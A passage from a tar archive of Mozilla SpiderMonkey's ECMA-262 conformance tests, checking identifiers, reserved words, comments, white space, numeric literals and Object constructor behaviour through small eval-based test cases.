a=4,b=5;a|=b;a") ); // ^= new TestCase( SECTION, "var a=4,b=5;a^=b;a", 1, eval("var a=4,b=5;a^=b;a") ); // %= new TestCase( SECTION, "var a=12,b=5;a%=b;a", 2, eval("var a=12,b=5;a%=b;a") ); // <<= new TestCase( SECTION, "var a=4,b=3;a<<=b;a", 32, eval("var a=4,b=3;a<<=b;a") ); // >> new TestCase( SECTION, "var a=4,b=1;a>>=b;a", 2, eval("var a=4,b=1;a>>=b;a") ); // >>> new TestCase( SECTION, "var a=1,b=1;a>>>=b;a", 0, eval("var a=1,b=1;a>>>=b;a") ); // () new TestCase( SECTION, "var a=4,b=3;(a)", 4, eval("var a=4,b=3;(a)") ); // {} new TestCase( SECTION, "var a=4,b=3;{b}", 3, eval("var a=4,b=3;{b}") ); // [] new TestCase( SECTION, "var a=new Array('hi');a[0]", "hi", eval("var a=new Array('hi');a[0]") ); // [] new TestCase( SECTION, ";", void 0, eval(";") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-6.js0000664000175000017500000000155212106270663022677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-6.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var _0abc = 5", 5, eval("var _0abc = 5; _0abc") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-2-n.js0000664000175000017500000000162212106270663023124 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-2-n.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-2-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var 0abc"; EXPECTED = "error"; new TestCase( SECTION, "var 0abc", "error", eval("var 0abc") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-14-n.js0000664000175000017500000000300312106270663023342 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-14-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-14-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); var actual = 'no error'; var prefValue; print("This test requires option javascript.options.strict enabled"); if (!options().match(/strict/)) { options('strict'); } if (!options().match(/werror/)) { options('werror'); } try { eval("var enum = true"); } catch(e) { actual = 'error'; } DESCRIPTION = "var enum = true"; EXPECTED = "error"; // force exception since this is a negative test if (actual == 'error') { throw actual; } new TestCase( SECTION, "var enum = true", "error", actual ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-3-n.js0000664000175000017500000000235412106270663023267 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-3-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.2-3-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var new = true"; EXPECTED = "error"; new TestCase( SECTION, "var new = true", "error", eval("var new = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.1-2.js0000664000175000017500000000301412106270663022662 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.1-2.js ECMA Section: 7.1 White Space Description: - readability - separate tokens - otherwise should be insignificant - in strings, white space characters are significant - cannot appear within any other kind of token white space characters are: unicode name formal name string representation \u0009 tab \t \u000B veritical tab ?? \U000C form feed \f \u0020 space " " Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "White Space"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "'var'+'\u000B'+'MYVAR1=10;MYVAR1'", 10, eval('var'+'\u000B'+'MYVAR1=10;MYVAR1') ); new TestCase( SECTION, "'var'+'\u0009'+'MYVAR2=10;MYVAR2'", 10, eval('var'+'\u0009'+'MYVAR2=10;MYVAR2') ); new TestCase( SECTION, "'var'+'\u000C'+'MYVAR3=10;MYVAR3'", 10, eval('var'+'\u000C'+'MYVAR3=10;MYVAR3') ); new TestCase( SECTION, "'var'+'\u0020'+'MYVAR4=10;MYVAR4'", 10, eval('var'+'\u0020'+'MYVAR4=10;MYVAR4') ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-8.js0000664000175000017500000000135512106270663022700 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-7.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-8"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "code following multiline comment", "pass", "fail"); /**/testcase.actual="pass"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-3-n.js0000664000175000017500000000162012106270663023123 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-2.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-3-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var 1abc"; EXPECTED = "error"; new TestCase( SECTION, "var 1abc", "error", eval("var 1abc") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-1.js0000664000175000017500000000170112106270663022666 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-1.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var $123 = 5", 5, eval("var $123 = 5;$123") ); new TestCase( SECTION, "var _123 = 5", 5, eval("var _123 = 5;_123") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.7.1.js0000664000175000017500000000142712106270663022676 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.7.1.js ECMA Section: 7.7.1 Null Literals Description: NullLiteral:: null The value of the null literal null is the sole value of the Null type, namely null. Author: christine@netscape.com Date: 21 october 1997 */ var SECTION = "7.7.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Null Literals"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "null", null, null); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-13-n.js0000664000175000017500000000141512106270663023204 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-13-n.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-13-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "nested comment"; EXPECTED = "error"; var testcase = new TestCase( SECTION, "nested comment", "error", eval("/*/*\"fail\";*/*/")); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.7.3.js0000664000175000017500000002641712106270663022706 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.7.3.js ECMA Section: 7.7.3 Numeric Literals Description: A numeric literal stands for a value of the Number type This value is determined in two steps: first a mathematical value (MV) is derived from the literal; second, this mathematical value is rounded, ideally using IEEE 754 round-to-nearest mode, to a reprentable value of of the number type. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "7.7.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Numeric Literals"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "0", 0, 0 ); new TestCase( SECTION, "1", 1, 1 ); new TestCase( SECTION, "2", 2, 2 ); new TestCase( SECTION, "3", 3, 3 ); new TestCase( SECTION, "4", 4, 4 ); new TestCase( SECTION, "5", 5, 5 ); new TestCase( SECTION, "6", 6, 6 ); new TestCase( SECTION, "7", 7, 7 ); new TestCase( SECTION, "8", 8, 8 ); new TestCase( SECTION, "9", 9, 9 ); new TestCase( SECTION, "0.", 0, 0. ); new TestCase( SECTION, "1.", 1, 1. ); new TestCase( SECTION, "2.", 2, 2. ); new TestCase( SECTION, "3.", 3, 3. ); new TestCase( SECTION, "4.", 4, 4. ); new TestCase( SECTION, "0.e0", 0, 0.e0 ); new TestCase( SECTION, "1.e1", 10, 1.e1 ); new TestCase( SECTION, "2.e2", 200, 2.e2 ); new TestCase( SECTION, "3.e3", 3000, 3.e3 ); new TestCase( SECTION, "4.e4", 40000, 4.e4 ); new TestCase( SECTION, "0.1e0", .1, 0.1e0 ); new TestCase( SECTION, "1.1e1", 11, 1.1e1 ); new TestCase( SECTION, "2.2e2", 220, 2.2e2 ); new TestCase( SECTION, "3.3e3", 3300, 3.3e3 ); new TestCase( SECTION, "4.4e4", 44000, 4.4e4 ); new TestCase( SECTION, ".1e0", .1, .1e0 ); new TestCase( SECTION, ".1e1", 1, .1e1 ); new TestCase( SECTION, ".2e2", 20, .2e2 ); new TestCase( SECTION, ".3e3", 300, .3e3 ); new TestCase( SECTION, ".4e4", 4000, .4e4 ); new TestCase( SECTION, "0e0", 0, 0e0 ); new TestCase( SECTION, "1e1", 10, 1e1 ); new TestCase( SECTION, "2e2", 200, 2e2 ); new TestCase( SECTION, "3e3", 3000, 3e3 ); new TestCase( SECTION, "4e4", 40000, 4e4 ); new TestCase( SECTION, "0e0", 0, 0e0 ); new TestCase( SECTION, "1e1", 10, 1e1 ); new TestCase( SECTION, "2e2", 200, 2e2 ); new TestCase( SECTION, "3e3", 3000, 3e3 ); new TestCase( SECTION, "4e4", 40000, 4e4 ); new TestCase( SECTION, "0E0", 0, 0E0 ); new TestCase( SECTION, "1E1", 10, 1E1 ); new TestCase( SECTION, "2E2", 200, 2E2 ); new TestCase( SECTION, "3E3", 3000, 3E3 ); new TestCase( SECTION, "4E4", 40000, 4E4 ); new TestCase( SECTION, "1.e-1", 0.1, 1.e-1 ); new TestCase( SECTION, "2.e-2", 0.02, 2.e-2 ); new TestCase( SECTION, "3.e-3", 0.003, 3.e-3 ); new TestCase( SECTION, "4.e-4", 0.0004, 4.e-4 ); new TestCase( SECTION, "0.1e-0", .1, 0.1e-0 ); new TestCase( SECTION, "1.1e-1", 0.11, 1.1e-1 ); new TestCase( SECTION, "2.2e-2", .022, 2.2e-2 ); new TestCase( SECTION, "3.3e-3", .0033, 3.3e-3 ); new TestCase( SECTION, "4.4e-4", .00044, 4.4e-4 ); new TestCase( SECTION, ".1e-0", .1, .1e-0 ); new TestCase( SECTION, ".1e-1", .01, .1e-1 ); new TestCase( SECTION, ".2e-2", .002, .2e-2 ); new TestCase( SECTION, ".3e-3", .0003, .3e-3 ); new TestCase( SECTION, ".4e-4", .00004, .4e-4 ); new TestCase( SECTION, "1.e+1", 10, 1.e+1 ); new TestCase( SECTION, "2.e+2", 200, 2.e+2 ); new TestCase( SECTION, "3.e+3", 3000, 3.e+3 ); new TestCase( SECTION, "4.e+4", 40000, 4.e+4 ); new TestCase( SECTION, "0.1e+0", .1, 0.1e+0 ); new TestCase( SECTION, "1.1e+1", 11, 1.1e+1 ); new TestCase( SECTION, "2.2e+2", 220, 2.2e+2 ); new TestCase( SECTION, "3.3e+3", 3300, 3.3e+3 ); new TestCase( SECTION, "4.4e+4", 44000, 4.4e+4 ); new TestCase( SECTION, ".1e+0", .1, .1e+0 ); new TestCase( SECTION, ".1e+1", 1, .1e+1 ); new TestCase( SECTION, ".2e+2", 20, .2e+2 ); new TestCase( SECTION, ".3e+3", 300, .3e+3 ); new TestCase( SECTION, ".4e+4", 4000, .4e+4 ); new TestCase( SECTION, "0x0", 0, 0x0 ); new TestCase( SECTION, "0x1", 1, 0x1 ); new TestCase( SECTION, "0x2", 2, 0x2 ); new TestCase( SECTION, "0x3", 3, 0x3 ); new TestCase( SECTION, "0x4", 4, 0x4 ); new TestCase( SECTION, "0x5", 5, 0x5 ); new TestCase( SECTION, "0x6", 6, 0x6 ); new TestCase( SECTION, "0x7", 7, 0x7 ); new TestCase( SECTION, "0x8", 8, 0x8 ); new TestCase( SECTION, "0x9", 9, 0x9 ); new TestCase( SECTION, "0xa", 10, 0xa ); new TestCase( SECTION, "0xb", 11, 0xb ); new TestCase( SECTION, "0xc", 12, 0xc ); new TestCase( SECTION, "0xd", 13, 0xd ); new TestCase( SECTION, "0xe", 14, 0xe ); new TestCase( SECTION, "0xf", 15, 0xf ); new TestCase( SECTION, "0X0", 0, 0X0 ); new TestCase( SECTION, "0X1", 1, 0X1 ); new TestCase( SECTION, "0X2", 2, 0X2 ); new TestCase( SECTION, "0X3", 3, 0X3 ); new TestCase( SECTION, "0X4", 4, 0X4 ); new TestCase( SECTION, "0X5", 5, 0X5 ); new TestCase( SECTION, "0X6", 6, 0X6 ); new TestCase( SECTION, "0X7", 7, 0X7 ); new TestCase( SECTION, "0X8", 8, 0X8 ); new TestCase( SECTION, "0X9", 9, 0X9 ); new TestCase( SECTION, "0Xa", 10, 0Xa ); new TestCase( SECTION, "0Xb", 11, 0Xb ); new TestCase( SECTION, "0Xc", 12, 0Xc ); new TestCase( SECTION, "0Xd", 13, 0Xd ); new TestCase( SECTION, "0Xe", 14, 0Xe ); new TestCase( SECTION, "0Xf", 15, 0Xf ); new TestCase( SECTION, "0x0", 0, 0x0 ); new TestCase( SECTION, "0x1", 1, 0x1 ); new TestCase( SECTION, "0x2", 2, 0x2 ); new TestCase( SECTION, "0x3", 3, 0x3 ); new TestCase( SECTION, "0x4", 4, 0x4 ); new TestCase( SECTION, "0x5", 5, 0x5 ); new TestCase( SECTION, "0x6", 6, 0x6 ); new TestCase( SECTION, "0x7", 7, 0x7 ); new TestCase( SECTION, "0x8", 8, 0x8 ); new TestCase( SECTION, "0x9", 9, 0x9 ); new TestCase( SECTION, "0xA", 10, 0xA ); new TestCase( SECTION, "0xB", 11, 0xB ); new TestCase( SECTION, "0xC", 12, 0xC ); new TestCase( SECTION, "0xD", 13, 0xD ); new TestCase( SECTION, "0xE", 14, 0xE ); new TestCase( SECTION, "0xF", 15, 0xF ); new TestCase( SECTION, "0X0", 0, 0X0 ); new TestCase( SECTION, "0X1", 1, 0X1 ); new TestCase( SECTION, "0X2", 2, 0X2 ); new TestCase( SECTION, "0X3", 3, 0X3 ); new TestCase( SECTION, "0X4", 4, 0X4 ); new TestCase( SECTION, "0X5", 5, 0X5 ); new TestCase( SECTION, "0X6", 6, 0X6 ); new TestCase( SECTION, "0X7", 7, 0X7 ); new TestCase( SECTION, "0X8", 8, 0X8 ); new TestCase( SECTION, "0X9", 9, 0X9 ); new TestCase( SECTION, "0XA", 10, 0XA ); new TestCase( SECTION, "0XB", 11, 0XB ); new TestCase( SECTION, "0XC", 12, 0XC ); new TestCase( SECTION, "0XD", 13, 0XD ); new TestCase( SECTION, "0XE", 14, 0XE ); new TestCase( SECTION, "0XF", 15, 0XF ); new TestCase( SECTION, "00", 0, 00 ); new TestCase( SECTION, "01", 1, 01 ); new TestCase( SECTION, "02", 2, 02 ); new TestCase( SECTION, "03", 3, 03 ); new TestCase( SECTION, "04", 4, 04 ); new TestCase( SECTION, "05", 5, 05 ); new TestCase( SECTION, "06", 6, 06 ); new TestCase( SECTION, "07", 7, 07 ); new TestCase( SECTION, "000", 0, 000 ); new TestCase( SECTION, "011", 9, 011 ); new TestCase( SECTION, "022", 18, 022 ); new TestCase( SECTION, "033", 27, 033 ); new TestCase( SECTION, "044", 36, 044 ); new TestCase( SECTION, "055", 45, 055 ); new TestCase( SECTION, "066", 54, 066 ); new TestCase( SECTION, "077", 63, 077 ); new TestCase( SECTION, "0.00000000001", 0.00000000001, 0.00000000001 ); new TestCase( SECTION, "0.00000000001e-2", 0.0000000000001, 0.00000000001e-2 ); new TestCase( SECTION, "123456789012345671.9999", "123456789012345660", 123456789012345671.9999 +""); new TestCase( SECTION, "123456789012345672", "123456789012345660", 123456789012345672 +""); new TestCase( SECTION, "123456789012345672.000000000000000000000000000", "123456789012345660", 123456789012345672.000000000000000000000000000 +""); new TestCase( SECTION, "123456789012345672.01", "123456789012345680", 123456789012345672.01 +""); new TestCase( SECTION, "123456789012345672.000000000000000000000000001+'' == 123456789012345680 || 123456789012345660", true, ( 123456789012345672.00000000000000000000000000 +"" == 1234567890 * 100000000 + 12345680 ) || ( 123456789012345672.00000000000000000000000000 +"" == 1234567890 * 100000000 + 12345660) ); new TestCase( SECTION, "123456789012345673", "123456789012345680", 123456789012345673 +"" ); new TestCase( SECTION, "-123456789012345671.9999", "-123456789012345660", -123456789012345671.9999 +"" ); new TestCase( SECTION, "-123456789012345672", "-123456789012345660", -123456789012345672+""); new TestCase( SECTION, "-123456789012345672.000000000000000000000000000", "-123456789012345660", -123456789012345672.000000000000000000000000000 +""); new TestCase( SECTION, "-123456789012345672.01", "-123456789012345680", -123456789012345672.01 +"" ); new TestCase( SECTION, "-123456789012345672.000000000000000000000000001 == -123456789012345680 or -123456789012345660", true, (-123456789012345672.000000000000000000000000001 +"" == -1234567890 * 100000000 -12345680) || (-123456789012345672.000000000000000000000000001 +"" == -1234567890 * 100000000 -12345660)); new TestCase( SECTION, -123456789012345673, "-123456789012345680", -123456789012345673 +""); new TestCase( SECTION, "12345678901234567890", "12345678901234567000", 12345678901234567890 +"" ); /* new TestCase( SECTION, "12345678901234567", "12345678901234567", 12345678901234567+"" ); new TestCase( SECTION, "123456789012345678", "123456789012345678", 123456789012345678+"" ); new TestCase( SECTION, "1234567890123456789", "1234567890123456789", 1234567890123456789+"" ); new TestCase( SECTION, "12345678901234567890", "12345678901234567890", 12345678901234567890+"" ); new TestCase( SECTION, "123456789012345678900", "123456789012345678900", 123456789012345678900+"" ); new TestCase( SECTION, "1234567890123456789000", "1234567890123456789000", 1234567890123456789000+"" ); */ new TestCase( SECTION, "0x1", 1, 0x1 ); new TestCase( SECTION, "0x10", 16, 0x10 ); new TestCase( SECTION, "0x100", 256, 0x100 ); new TestCase( SECTION, "0x1000", 4096, 0x1000 ); new TestCase( SECTION, "0x10000", 65536, 0x10000 ); new TestCase( SECTION, "0x100000", 1048576, 0x100000 ); new TestCase( SECTION, "0x1000000", 16777216, 0x1000000 ); new TestCase( SECTION, "0x10000000", 268435456, 0x10000000 ); /* new TestCase( SECTION, "0x100000000", 4294967296, 0x100000000 ); new TestCase( SECTION, "0x1000000000", 68719476736, 0x1000000000 ); new TestCase( SECTION, "0x10000000000", 1099511627776, 0x10000000000 ); */ test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.7.3-2.js0000664000175000017500000000266312106270663023042 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.7.3-2.js ECMA Section: 7.7.3 Numeric Literals Description: This is a regression test for http://scopus.mcom.com/bugsplat/show_bug.cgi?id=122884 Waldemar's comments: A numeric literal that starts with either '08' or '09' is interpreted as a decimal literal; it should be an error instead. (Strictly speaking, according to ECMA v1 such literals should be interpreted as two integers -- a zero followed by a decimal number whose first digit is 8 or 9, but this is a bug in ECMA that will be fixed in v2. In any case, there is no place in the grammar where two consecutive numbers would be legal.) Author: christine@netscape.com Date: 15 june 1998 */ var SECTION = "7.7.3-2"; var VERSION = "ECMA_1"; var TITLE = "Numeric Literals"; var BUGNUMBER="122884"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "9", 9, 9 ); new TestCase( SECTION, "09", 9, 09 ); new TestCase( SECTION, "099", 99, 099 ); new TestCase( SECTION, "077", 63, 077 ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-4.js0000664000175000017500000000134112106270663022667 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-4.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "multiline comment ", "pass", "pass"); /*testcase.actual = "fail";*/ test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/0000775000175000017500000000000012106270663020573 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.1.2.js0000664000175000017500000000342212106270663022016 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.1.2.js ECMA Section: 15.2.1.2 The Object Constructor Called as a Function: Object(value) Description: When Object is called as a function rather than as a constructor, the following steps are taken: 1. If value is null or undefined, create and return a new object with no proerties other than internal properties exactly as if the object constructor had been called on that same value (15.2.2.1). 2. Return ToObject (value), whose rules are: undefined generate a runtime error null generate a runtime error boolean create a new Boolean object whose default value is the value of the boolean. number Create a new Number object whose default value is the value of the number. string Create a new String object whose default value is the value of the string. object Return the input argument (no conversion). Author: christine@netscape.com Date: 17 july 1997 */ var SECTION = "15.2.1.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object()"; writeHeaderToLog( SECTION + " "+ TITLE); var MYOB = Object(); new TestCase( SECTION, "var MYOB = Object(); MYOB.valueOf()", MYOB, MYOB.valueOf() ); new TestCase( SECTION, "typeof Object()", "object", typeof (Object(null)) ); new TestCase( SECTION, "var MYOB = Object(); MYOB.toString()", "[object Object]", eval("var MYOB = Object(); MYOB.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/shell.js0000664000175000017500000000000012106270663022226 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.3-1.js0000664000175000017500000000173412106270663022022 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.3-1.js ECMA Section: 15.2.3 Properties of the Object Constructor Description: The value of the internal [[Prototype]] property of the Object constructor is the Function prototype object. Besides the call and construct propreties and the length property, the Object constructor has properties described in 15.2.3.1. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.3"; var VERSION = "ECMA_2"; startTest(); writeHeaderToLog( SECTION + " Properties of the Object Constructor"); new TestCase( SECTION, "Object.length", 1, Object.length ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.3.js0000664000175000017500000000212712106270663021661 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.3.js ECMA Section: 15.2.3 Properties of the Object Constructor Description: The value of the internal [[Prototype]] property of the Object constructor is the Function prototype object. Besides the call and construct propreties and the length property, the Object constructor has properties described in 15.2.3.1. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the Object Constructor"; writeHeaderToLog( SECTION + " " + TITLE); // new TestCase( SECTION, "Object.__proto__", Function.prototype, Object.__proto__ ); new TestCase( SECTION, "Object.length", 1, Object.length ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.4.3.js0000664000175000017500000000560612106270663022030 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.4.3.js ECMA Section: 15.2.4.3 Object.prototype.valueOf() Description: As a rule, the valueOf method for an object simply returns the object; but if the object is a "wrapper" for a host object, as may perhaps be created by the Object constructor, then the contained host object should be returned. This only covers native objects. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.4.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object.prototype.valueOf()"; writeHeaderToLog( SECTION + " "+ TITLE); var myarray = new Array(); myarray.valueOf = Object.prototype.valueOf; var myboolean = new Boolean(); myboolean.valueOf = Object.prototype.valueOf; var myfunction = new Function(); myfunction.valueOf = Object.prototype.valueOf; var myobject = new Object(); myobject.valueOf = Object.prototype.valueOf; var mymath = Math; mymath.valueOf = Object.prototype.valueOf; var mydate = new Date(); mydate.valueOf = Object.prototype.valueOf; var mynumber = new Number(); mynumber.valueOf = Object.prototype.valueOf; var mystring = new String(); mystring.valueOf = Object.prototype.valueOf; new TestCase( SECTION, "Object.prototype.valueOf.length", 0, Object.prototype.valueOf.length ); new TestCase( SECTION, "myarray = new Array(); myarray.valueOf = Object.prototype.valueOf; myarray.valueOf()", myarray, myarray.valueOf() ); new TestCase( SECTION, "myboolean = new Boolean(); myboolean.valueOf = Object.prototype.valueOf; myboolean.valueOf()", myboolean, myboolean.valueOf() ); new TestCase( SECTION, "myfunction = new Function(); myfunction.valueOf = Object.prototype.valueOf; myfunction.valueOf()", myfunction, myfunction.valueOf() ); new TestCase( SECTION, "myobject = new Object(); myobject.valueOf = Object.prototype.valueOf; myobject.valueOf()", myobject, myobject.valueOf() ); new TestCase( SECTION, "mymath = Math; mymath.valueOf = Object.prototype.valueOf; mymath.valueOf()", mymath, mymath.valueOf() ); new TestCase( SECTION, "mynumber = new Number(); 